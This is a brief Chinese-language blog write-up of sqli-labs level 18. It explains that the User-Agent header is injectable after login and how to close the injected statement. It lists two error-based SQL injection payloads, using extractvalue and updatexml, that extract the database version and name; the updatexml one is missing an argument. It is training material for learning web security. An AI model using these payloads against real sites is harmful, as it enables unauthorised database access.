less 18

正常发包

 

 

没有发现xff 参数

发现登陆成功就可以发现正常有显示 user-agent的信息

 

 user-agent 存在注入点,使用报错注入 。注意user-agent 无法用--+ 进行语句闭合,用# 或者 and 1='1 进行闭合

payload:  

'and extractvalue(1,concat(0x7e,(select @@version),0x7e)) and 1='1
1' or updatexml(1,concat('#',(database())))# 

 

posted @ 2020-04-25 23:09  我叫酸菜鱼  阅读(269)  评论(0编辑  收藏  举报